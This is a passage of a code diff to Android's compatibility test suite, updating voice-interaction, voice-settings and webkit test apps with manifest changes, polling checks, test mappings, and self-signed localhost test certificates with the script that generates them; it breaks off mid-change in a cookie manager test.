+++ b/tests/tests/voiceinteraction/testapp/Android.bp
@@ -12,14 +12,14 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsVoiceInteractionApp",
     defaults: ["cts_support_defaults"],
-    static_libs: ["CtsVoiceInteractionCommon", "androidx.core_core"],
+    static_libs: [
+        "CtsVoiceInteractionCommon",
+        "androidx.core_core",
+        "compatibility-device-util-axt",
+    ],
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
     // Tag this module as a cts test artifact
@@ -27,4 +27,4 @@
         "cts",
         "general-tests",
     ],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/voiceinteraction/testapp/AndroidManifest.xml b/tests/tests/voiceinteraction/testapp/AndroidManifest.xml
index c683c66..020ee80 100644
--- a/tests/tests/voiceinteraction/testapp/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/testapp/AndroidManifest.xml
@@ -16,36 +16,37 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.voiceinteraction.testapp">
+     package="android.voiceinteraction.testapp">
 
     <application>
-      <uses-library android:name="android.test.runner" />
+      <uses-library android:name="android.test.runner"/>
 
       <activity android:name="TestApp"
-                android:label="Voice Interaction Test App"
-                android:theme="@android:style/Theme.DeviceDefault">
+           android:label="Voice Interaction Test App"
+           android:theme="@android:style/Theme.DeviceDefault"
+           android:exported="true">
           <intent-filter>
               <action android:name="android.intent.action.VIEW"/>
-              <category android:name="android.intent.category.DEFAULT" />
-              <category android:name="android.intent.category.BROWSABLE" />
-              <category android:name="android.intent.category.VOICE" />
-              <data android:scheme="https" />
-              <data android:host="android.voiceinteraction.testapp" />
-              <data android:path="/TestApp" />
+              <category android:name="android.intent.category.DEFAULT"/>
+              <category android:name="android.intent.category.BROWSABLE"/>
+              <category android:name="android.intent.category.VOICE"/>
+              <data android:scheme="https"/>
+              <data android:host="android.voiceinteraction.testapp"/>
+              <data android:path="/TestApp"/>
           </intent-filter>
       </activity>
 
        <activity android:name=".DirectActionsActivity"
-                android:label="Direct actions activity"
-                android:exported="true">
+            android:label="Direct actions activity"
+            android:exported="true">
           <intent-filter>
               <action android:name="android.intent.action.VIEW"/>
-              <category android:name="android.intent.category.DEFAULT" />
-              <category android:name="android.intent.category.BROWSABLE" />
-              <data android:scheme="https" />
-              <data android:host="android.voiceinteraction.testapp" />
-              <data android:path="/DirectActionsActivity" />
-              <category android:name="android.intent.category.VOICE" />
+              <category android:name="android.intent.category.DEFAULT"/>
+              <category android:name="android.intent.category.BROWSABLE"/>
+              <data android:scheme="https"/>
+              <data android:host="android.voiceinteraction.testapp"/>
+              <data android:path="/DirectActionsActivity"/>
+              <category android:name="android.intent.category.VOICE"/>
           </intent-filter>
         </activity>
 
diff --git a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/DirectActionsActivity.java b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/DirectActionsActivity.java
index 9a67f51..5f36d8960 100644
--- a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/DirectActionsActivity.java
+++ b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/DirectActionsActivity.java
@@ -29,6 +29,10 @@
 
 import androidx.annotation.NonNull;
 
+import com.android.compatibility.common.util.PollingCheck;
+
+import com.google.common.truth.Truth;
+
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.List;
@@ -86,6 +90,7 @@
             callback.accept(Collections.emptyList());
             return;
         }
+        Log.v(TAG, "onGetDirectActions()");
         final DirectAction action = new DirectAction.Builder(Utils.DIRECT_ACTIONS_ACTION_ID)
                 .setExtras(Utils.DIRECT_ACTIONS_ACTION_EXTRAS)
                 .setLocusId(Utils.DIRECT_ACTIONS_LOCUS_ID)
@@ -99,6 +104,7 @@
     @Override
     public void onPerformDirectAction(String actionId, Bundle arguments,
             CancellationSignal cancellationSignal, Consumer<Bundle> callback) {
+        Log.v(TAG, "onPerformDirectAction(): " + Utils.toBundleString(arguments));
         if (arguments == null || !arguments.getString(Utils.DIRECT_ACTIONS_KEY_ARGUMENTS)
                 .equals(Utils.DIRECT_ACTIONS_KEY_ARGUMENTS)) {
             reportActionFailed(callback);
@@ -116,19 +122,30 @@
     }
 
     private void detectDestroyedInteractor(@NonNull RemoteCallback callback) {
-        final Bundle result = new Bundle();
         final CountDownLatch latch = new CountDownLatch(1);
-
         final VoiceInteractor interactor = getVoiceInteractor();
-        interactor.registerOnDestroyedCallback(AsyncTask.THREAD_POOL_EXECUTOR, () -> {
-            if (interactor.isDestroyed() && getVoiceInteractor() == null) {
-                result.putBoolean(Utils.DIRECT_ACTIONS_KEY_RESULT, true);
-            }
-            latch.countDown();
-        });
-
+        interactor.registerOnDestroyedCallback(AsyncTask.THREAD_POOL_EXECUTOR, latch::countDown);
         Utils.await(latch);
 
+        try {
+            // Check that the interactor is properly marked destroyed. Polls the values since
+            // there's no synchronization between destroy() and these methods.
+            long pollingTimeoutMs = 3000;
+            PollingCheck.check(
+                    "onDestroyedCallback called but interactor isn't destroyed",
+                    pollingTimeoutMs,
+                    interactor::isDestroyed);
+            PollingCheck.check(
+                    "onDestroyedCallback called but activity still has an interactor",
+                    pollingTimeoutMs,
+                    () -> getVoiceInteractor() == null);
+        } catch (Exception e) {
+            Truth.assertWithMessage("Unexpected exception: " + e).fail();
+        }
+
+        final Bundle result = new Bundle();
+        result.putBoolean(Utils.DIRECT_ACTIONS_KEY_RESULT, true);
+        Log.v(TAG, "detectDestroyedInteractor(): " + Utils.toBundleString(result));
         callback.sendResult(result);
     }
 
diff --git a/tests/tests/voicesettings/Android.bp b/tests/tests/voicesettings/Android.bp
index 341a533..d68dbaf 100644
--- a/tests/tests/voicesettings/Android.bp
+++ b/tests/tests/voicesettings/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsVoiceSettingsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/voicesettings/AndroidManifest.xml b/tests/tests/voicesettings/AndroidManifest.xml
index 8be0b80..ba50604 100644
--- a/tests/tests/voicesettings/AndroidManifest.xml
+++ b/tests/tests/voicesettings/AndroidManifest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
  * Copyright (C) 2015 The Android Open Source Project
  *
@@ -15,31 +16,31 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.voicesettings.cts">
+     package="android.voicesettings.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".BroadcastTestStartActivity"
-                  android:label="The Target Activity for VoiceSettings CTS Test">
+             android:label="The Target Activity for VoiceSettings CTS Test"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_START_ACTIVITY_ZEN_MODE" />
-                <action android:name="android.intent.action.TEST_START_ACTIVITY_AIRPLANE_MODE" />
-                <action android:name="android.intent.action.TEST_START_ACTIVITY_BATTERYSAVER_MODE" />
-                <category android:name="android.intent.category.LAUNCHER" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.TEST_START_ACTIVITY_ZEN_MODE"/>
+                <action android:name="android.intent.action.TEST_START_ACTIVITY_AIRPLANE_MODE"/>
+                <action android:name="android.intent.action.TEST_START_ACTIVITY_BATTERYSAVER_MODE"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.voicesettings.cts"
-                     android:label="CTS tests of android.voicesettings">
+         android:targetPackage="android.voicesettings.cts"
+         android:label="CTS tests of android.voicesettings">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/voicesettings/TEST_MAPPING b/tests/tests/voicesettings/TEST_MAPPING
new file mode 100644
index 0000000..fe855df
--- /dev/null
+++ b/tests/tests/voicesettings/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsVoiceSettingsTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/voicesettings/service/Android.bp b/tests/tests/voicesettings/service/Android.bp
index ccbf73d..4a514a9 100644
--- a/tests/tests/voicesettings/service/Android.bp
+++ b/tests/tests/voicesettings/service/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsVoiceSettingsService",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/voicesettings/service/AndroidManifest.xml b/tests/tests/voicesettings/service/AndroidManifest.xml
index 13671b6..af106f4 100644
--- a/tests/tests/voicesettings/service/AndroidManifest.xml
+++ b/tests/tests/voicesettings/service/AndroidManifest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
  * Copyright (C) 2015 The Android Open Source Project
  *
@@ -15,51 +16,54 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.voicesettings.service">
+     package="android.voicesettings.service">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <service android:name=".MainInteractionService"
-                android:label="CTS test voice interaction service"
-                android:permission="android.permission.BIND_VOICE_INTERACTION"
-                android:process=":interactor"
-                android:exported="true">
+             android:label="CTS test voice interaction service"
+             android:permission="android.permission.BIND_VOICE_INTERACTION"
+             android:process=":interactor"
+             android:exported="true">
             <meta-data android:name="android.voice_interaction"
-                       android:resource="@xml/interaction_service" />
+                 android:resource="@xml/interaction_service"/>
             <intent-filter>
-                <action android:name="android.service.voice.VoiceInteractionService" />
+                <action android:name="android.service.voice.VoiceInteractionService"/>
             </intent-filter>
         </service>
-        <activity android:name=".VoiceInteractionMain" >
+        <activity android:name=".VoiceInteractionMain"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.VIMAIN_ZEN_MODE_ON" />
-                <action android:name="android.intent.action.VIMAIN_ZEN_MODE_OFF" />
-                <action android:name="android.intent.action.VIMAIN_AIRPLANE_MODE_ON" />
-                <action android:name="android.intent.action.VIMAIN_AIRPLANE_MODE_OFF" />
-                <action android:name="android.intent.action.VIMAIN_BATTERYSAVER_MODE_ON" />
-                <action android:name="android.intent.action.VIMAIN_BATTERYSAVER_MODE_OFF" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.VIMAIN_ZEN_MODE_ON"/>
+                <action android:name="android.intent.action.VIMAIN_ZEN_MODE_OFF"/>
+                <action android:name="android.intent.action.VIMAIN_AIRPLANE_MODE_ON"/>
+                <action android:name="android.intent.action.VIMAIN_AIRPLANE_MODE_OFF"/>
+                <action android:name="android.intent.action.VIMAIN_BATTERYSAVER_MODE_ON"/>
+                <action android:name="android.intent.action.VIMAIN_BATTERYSAVER_MODE_OFF"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
         <activity android:name=".SettingsActivity"
-                  android:label="Voice Interaction Settings">
+             android:label="Voice Interaction Settings"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
         <service android:name=".MainInteractionSessionService"
-                android:permission="android.permission.BIND_VOICE_INTERACTION"
-                android:process=":session">
+             android:permission="android.permission.BIND_VOICE_INTERACTION"
+             android:process=":session">
         </service>
         <service android:name=".MainRecognitionService"
-                android:label="CTS Voice Recognition Service">
+             android:label="CTS Voice Recognition Service"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.speech.RecognitionService" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.speech.RecognitionService"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
-            <meta-data android:name="android.speech" android:resource="@xml/recognition_service" />
+            <meta-data android:name="android.speech"
+                 android:resource="@xml/recognition_service"/>
         </service>
     </application>
 </manifest>
-
diff --git a/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionSession.java b/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionSession.java
index 87c8926..312fa3e 100644
--- a/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionSession.java
+++ b/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionSession.java
@@ -66,7 +66,10 @@
 
     @Override
     public void onShow(Bundle args, int showFlags) {
-        super.onShow(args, showFlags);
+        if (args == null) {
+            Log.e(TAG, "onshow() received null args");
+            return;
+        }
         String testCaseType = args.getString(BroadcastUtils.TESTCASE_TYPE);
         Log.i(TAG, "received_testcasetype = " + testCaseType);
         try {
diff --git a/tests/tests/webkit/Android.bp b/tests/tests/webkit/Android.bp
index 30cb45f..13a4cf4 100644
--- a/tests/tests/webkit/Android.bp
+++ b/tests/tests/webkit/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsWebkitTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/webkit/AndroidManifest.xml b/tests/tests/webkit/AndroidManifest.xml
index e7de9bf..cbb0ccf 100644
--- a/tests/tests/webkit/AndroidManifest.xml
+++ b/tests/tests/webkit/AndroidManifest.xml
@@ -16,69 +16,75 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.webkit.cts">
+     package="android.webkit.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
     <!-- Note: we must provide INTERNET permission for
-     ServiceWorkerWebSettingsTest#testBlockNetworkLoads -->
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <application android:maxRecents="1" android:usesCleartextTraffic="true">
+             ServiceWorkerWebSettingsTest#testBlockNetworkLoads -->
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <application android:maxRecents="1"
+         android:networkSecurityConfig="@xml/network_security_config">
         <provider android:name="android.webkit.cts.MockContentProvider"
-                  android:exported="true"
-                  android:authorities="android.webkit.cts.MockContentProvider" />
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.apache.http.legacy" android:required="false" />
+             android:exported="true"
+             android:authorities="android.webkit.cts.MockContentProvider"/>
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
 
         <activity android:name="android.webkit.cts.CookieSyncManagerCtsActivity"
-            android:label="CookieSyncManagerCtsActivity"
-            android:screenOrientation="nosensor">
+             android:label="CookieSyncManagerCtsActivity"
+             android:screenOrientation="nosensor"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.webkit.cts.WebViewCtsActivity"
-            android:label="WebViewCtsActivity"
-            android:screenOrientation="nosensor">
+             android:label="WebViewCtsActivity"
+             android:screenOrientation="nosensor"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.webkit.cts.WebViewStartupCtsActivity"
-            android:label="WebViewStartupCtsActivity"
-            android:screenOrientation="nosensor">
+             android:label="WebViewStartupCtsActivity"
+             android:screenOrientation="nosensor"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <service android:name="android.webkit.cts.TestProcessServiceA"
-                 android:process=":testprocessA"
-                 android:exported="false" />
+             android:process=":testprocessA"
+             android:exported="false"/>
 
         <service android:name="android.webkit.cts.TestProcessServiceB"
-                 android:process=":testprocessB"
-                 android:exported="false" />
+             android:process=":testprocessB"
+             android:exported="false"/>
 
         <!-- Specify a preloaded font list to ensure that this doesn't interfere
-             with the operation of the renderer process (as in b/70968451)
-         -->
-        <meta-data android:name="preloaded_fonts" android:resource="@array/preloaded_fonts" />
+                         with the operation of the renderer process (as in b/70968451)
+                     -->
+        <meta-data android:name="preloaded_fonts"
+             android:resource="@array/preloaded_fonts"/>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.webkit.cts"
-                     android:label="CTS tests of android.webkit">
+         android:targetPackage="android.webkit.cts"
+         android:label="CTS tests of android.webkit">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/webkit/OWNERS b/tests/tests/webkit/OWNERS
index 903494a..2ddd237 100644
--- a/tests/tests/webkit/OWNERS
+++ b/tests/tests/webkit/OWNERS
@@ -1,5 +1,3 @@
 # Bug component: 76427
-changwan@google.com
-tobiasjs@google.com
 torne@google.com
 ntfschr@google.com
diff --git a/tests/tests/webkit/TEST_MAPPING b/tests/tests/webkit/TEST_MAPPING
new file mode 100644
index 0000000..1768625
--- /dev/null
+++ b/tests/tests/webkit/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsWebkitTestCases",
+      "options": [
+        {
+          "exclude-annotation": "androidx.test.filters.FlakyTest"
+        }
+      ]
+    }
+  ]
+}
diff --git a/tests/tests/webkit/generate-ssl-cert.sh b/tests/tests/webkit/generate-ssl-cert.sh
new file mode 100755
index 0000000..cc1d85e
--- /dev/null
+++ b/tests/tests/webkit/generate-ssl-cert.sh
@@ -0,0 +1,16 @@
+#!/bin/bash
+
+# This script generates two self-signed test certificates to be used by
+# CtsTestServer in the CtsWebkitTestCases APK. This script is not invoked as
+# part of the build; the certificates and keys are checked in. The certificates
+# are valid for 10 years, and this script can be used to regenerate them before
+# they expire.
+
+for name in trusted untrusted; do
+  tempkey="${name}key.tmp"
+  openssl req -x509 -newkey rsa:4096 -sha256 -days 3650 -nodes \
+    -keyout "${tempkey}" -out "res/raw/${name}cert.crt" -subj "/CN=CtsWebkitTestCases-${name}" \
+    -addext "subjectAltName=DNS:localhost,IP:127.0.0.1" &&
+  openssl pkcs8 -topk8 -outform DER -in "${tempkey}" -out "res/raw/${name}key.der" -nocrypt &&
+  rm "${tempkey}"
+done
diff --git a/tests/tests/webkit/res/raw/trustedcert.crt b/tests/tests/webkit/res/raw/trustedcert.crt
new file mode 100644
index 0000000..d9fad35
--- /dev/null
+++ b/tests/tests/webkit/res/raw/trustedcert.crt
@@ -0,0 +1,31 @@
+-----BEGIN CERTIFICATE-----
+MIIFRzCCAy+gAwIBAgIUP/dGwbAus1Vf8cWLiAnyRs7duGAwDQYJKoZIhvcNAQEL
+BQAwJTEjMCEGA1UEAwwaQ3RzV2Via2l0VGVzdENhc2VzLXRydXN0ZWQwHhcNMjEw
+MjA1MTkzMTIxWhcNMzEwMjAzMTkzMTIxWjAlMSMwIQYDVQQDDBpDdHNXZWJraXRU
+ZXN0Q2FzZXMtdHJ1c3RlZDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
+ALT6mHjIXl4ZCea7eZNOEQ8WXbR/uhimTJG3YUD2l+SC9k+dnrXJPvIrKzDq/HB0
+PO/0vNOBIeLd9CIDWVhg2tZ9J542EJB02Fueotcr30SuTG4lMtuD1Iyd37LZwUEd
+3nsFOdh65hwgzuyvBUm86CQCbNdXuj9FysHynh/plBopOTAhQkVWHKgQnKGui3Cu
+7h55GFPWxBNvc9ugCee0N+CtKhTj2ngBUd46iGmL3h7gXJOwBKrEkfdZLtz6DW5L
+Rv0+LyNcJBu5bIbU/0JK9419vbzcjvVDstgIeZJCXlc4XepPy7ASyNLJNYAe9UHc
+97Hw3yxu4VlNaGK1WbbDsOgU2Wvf0j9iGFwuuJch5pnCsJuS+rKSeCUXMz71gwo1
+lplpRNWkQkx8/0hae788M74BlQWJfV795SoAOk/qq+HxqmSv43bTaMn6UOCiBAml
+BNHgi5SF3vxlebSnHENRJTAx0JI7H5uXFPQswHYu6IGy23yFeWD+9RLADivzdiYw
+YMbeO7289+CTrTX5JKtfNqrF9Q9iqMgU3gaq2t4TKwBiIp/M5q6BLjY1spIHAnc5
+WD8y7b7ymswPUxtjaOBxdzr/dzan0ziQIKfywu6mHDQl2kWwYpFMHwIp2O1wP2Gg
+5KS6jDj9LNveV5V1GytuWIxMlyeQ8we13aIe8jURloVLAgMBAAGjbzBtMB0GA1Ud
+DgQWBBRZIZS/ttjxMLfPr91mYr9yW/b4YjAfBgNVHSMEGDAWgBRZIZS/ttjxMLfP
+r91mYr9yW/b4YjAPBgNVHRMBAf8EBTADAQH/MBoGA1UdEQQTMBGCCWxvY2FsaG9z
+dIcEfwAAATANBgkqhkiG9w0BAQsFAAOCAgEAT9c+EnbGK+hpxVlwPiNCk7jWc7zb
+6aUnyI+EVHKvMhOuSzFzllW4NZIl0ZWxzVd15LRiLaNoLXCTKWnL5MYA6BZYlT2i
+gaKVO6z8ytPfRcq1ITYp75b3N0cD7X28g6GNg7hyi/KEx0X1WS8fb88KC6fl/Sy6
+wdWg1WxPaOCosKvMwLpiFoemJBFIhNGzIghRye6MV7PjMRbb0weEQUNmtsxCtq+e
+ARBL+pXznphk3nOgreI0VlIi7imre+w6KfaTP0+UBOKhZvk451kPSHRBv8+lC6tS
+EcxqJOH/UKLQNyTzmLCLrdjnkRcwLhzegoskmLWGV4Ca2MVV3d6zGRczFplEi/lW
+Sux3Pbga+fh3FL1NqnpDCWgEptq+4mNYQn6G71jVOGw3MQtWEZijG95GPC1Yody6
+/CmNzg7eHY1PluXu73aOvJLjESqK1AxZTgpjbN1vUHg8WeSli3/Zcqn12r3FQSEY
+qPV3bfWivq7H9UZqHHb9aONBPRhH1xVKf5ByJNwNgRMD4sdBHtklvF1fKnOs3sZ5
+7RhRWn2mNskAHZsVtBGcPCqzPk8oGCptxaEr2rAotb3kD/3TZc2miZUN+AWfOG+U
+QeZLno7U+INDfTQC5D8be9LviYdYK8IkolzHHFcDw0Nyyx5hzj7xNq9T4ENGbjMP
+5RiEoWyKwEGZGoY=
+-----END CERTIFICATE-----
diff --git a/tests/tests/webkit/res/raw/trustedkey.der b/tests/tests/webkit/res/raw/trustedkey.der
new file mode 100644
index 0000000..5ac993a
--- /dev/null
+++ b/tests/tests/webkit/res/raw/trustedkey.der
Binary files differ
diff --git a/tests/tests/webkit/res/raw/untrustedcert.crt b/tests/tests/webkit/res/raw/untrustedcert.crt
new file mode 100644
index 0000000..c75e893
--- /dev/null
+++ b/tests/tests/webkit/res/raw/untrustedcert.crt
@@ -0,0 +1,31 @@
+-----BEGIN CERTIFICATE-----
+MIIFSzCCAzOgAwIBAgIUf5q9s3tlwksxPAbNPire6b8YvQUwDQYJKoZIhvcNAQEL
+BQAwJzElMCMGA1UEAwwcQ3RzV2Via2l0VGVzdENhc2VzLXVudHJ1c3RlZDAeFw0y
+MTAyMDUxOTMxMjFaFw0zMTAyMDMxOTMxMjFaMCcxJTAjBgNVBAMMHEN0c1dlYmtp
+dFRlc3RDYXNlcy11bnRydXN0ZWQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIK
+AoICAQC5atc0ZDX6R5MIemlOoAwPrjN/DGazzStLE7VCxX8pgK92G7Ur2Attd8C/
+I8c8gvCcOnfF+cvxEe6DSwamLPf/qoCght8RKP8kvEE6OmbjYhL7IEp6wIsP3ER9
+D41wVbbXVOlt2DVDsV/STIoEtQSOW2apT3QIlk65uW6NUyzT94OQKqnXnzToy9/b
+j/g0ONWjmMML7TAz0qJrW89yAjuzxOMkx9VFONt+kN8SyidRdGhtFrJWDP6FCzHZ
+FtMgMpzEsQTFfDBPwnZDHMIQId5Rs4DxLF6OuTIO5gI94e4fQs0vQtudpItm11IP
+m9Nrui+A4A+ySYQ4Qd+ac7NUUw3qBTRhhtVW08gRllIlNpUe2WG3agRd+BybZgPI
+KuOPwAhPZyYCUX/TRafwaAWCcdhNVvERHe8KD9NHV/fAf0fqTvsEKzpV6n58W6oo
+TrsG45+3oFMc24akGajN4MlcYovOA+dCkKp9/dt+dAqD//oPm79gK98is78jcEcW
+Vx+ayAVdMM02YcZhhI7g44HRxHXRVEWMgTckpQZ0Y+5fGfTdvKIzPpFqGZ888TaU
+RgJTEcb2lM/GpSdFlTxsd4idLiYfbZDZ2e8LeDnCzgDxhHCaHK6nensgjA6UIGro
+wYpA+OF929zojBAHGVZzrK2RWEAmT35YXpAbbuFHRipWHeWe+QIDAQABo28wbTAd
+BgNVHQ4EFgQU89I2yAoiDmTOLQHkUpYP4KAZafgwHwYDVR0jBBgwFoAU89I2yAoi
+DmTOLQHkUpYP4KAZafgwDwYDVR0TAQH/BAUwAwEB/zAaBgNVHREEEzARgglsb2Nh
+bGhvc3SHBH8AAAEwDQYJKoZIhvcNAQELBQADggIBAB+AHqtcGsJqORIJAH9OWlmB
+3EDiNrYjjeMWcuFx4kWPGWEXjOWf7NmnWCoyL7JhQEDO71U3T/FxLhsuTHgqABh2
+TP3V8yYgsLtosQORLrbTgSMnJ6ApcvFC6A6busp6WGExeuiGvVbFlPwP7oInKkXP
+Gb6LPpwp2F6hVitNOCzzTNlZy/77faOoqGI307sFX28XJT+Oj1Zs08AgCEoYkEK0
+vYx7z0qVOvWFTMAgIMBefJBcxLlMmrkL9hyFRZN1y1dir+6zhz7nSnThtYr16tsq
+dHU4+F6gfmlerbEbAHX9h0Kx9UY+mdgtU3CywM6xufM4iK2LwE8Wzr5/ND8jnvH8
+2sPdjVMZpPPNPc6M2K7W/IdSrlEOAFopBFvFCLtsFNssp9gNiuEwSE9Ver73xE+S
+3uH0y4kfESmJVQeEdviA1qcDuSxLQoTsXJSKJdWaMfOJMVR7yGFiV6Tz89puurPP
+5Fprk4RbOcAWLHTVLOnTcwB6cvJ5FUIJEw2UOWFJQp6uQ2KkHXuIvBQjNNSuuTOg
+HGrIDhEVV1vbfEmx3X7BKE2svp+xp4o/TM8j5CytWC/D0qVGCnqGNCONyV4uNs7O
+/3NzqixCcLDz+B2bzieW3Qjb76t68ZJ7JxvB6c9fiUrlmUcdPaSWKpXonjvlI0pN
+A5+Gfe2t0uDpO1MROjkA
+-----END CERTIFICATE-----
diff --git a/tests/tests/webkit/res/raw/untrustedkey.der b/tests/tests/webkit/res/raw/untrustedkey.der
new file mode 100644
index 0000000..134bef8
--- /dev/null
+++ b/tests/tests/webkit/res/raw/untrustedkey.der
Binary files differ
diff --git a/tests/tests/webkit/res/xml/network_security_config.xml b/tests/tests/webkit/res/xml/network_security_config.xml
new file mode 100644
index 0000000..b641eff
--- /dev/null
+++ b/tests/tests/webkit/res/xml/network_security_config.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="utf-8"?>
+<network-security-config>
+    <base-config cleartextTrafficPermitted="true">
+        <trust-anchors>
+            <certificates src="@raw/trustedcert"/>
+            <certificates src="system"/>
+        </trust-anchors>
+    </base-config>
+</network-security-config>
diff --git a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
index 9f56724..65cc8e6 100644
--- a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
@@ -43,6 +43,7 @@
     private WebView mWebView;
     private CookieManager mCookieManager;
     private WebViewOnUiThread mOnUiThread;
+    private CtsTestServer mServer;
 
     public CookieManagerTest() {
         super("android.webkit.cts", CookieSyncManagerCtsActivity.class);
@@ -68,6 +69,13 @@
         }
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mServer != null) {
+            mServer.shutdown();
+        }
+    }
+
     public void testGetInstance() {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -100,8 +108,8 @@
         mCookieManager.setAcceptCookie(false);
         assertFalse(mCookieManager.acceptCookie());
 
-        CtsTestServer server = new CtsTestServer(getActivity(), false);
-        String url = server.getCookieUrl("conquest.html");
+        mServer = new CtsTestServer(getActivity(), false);
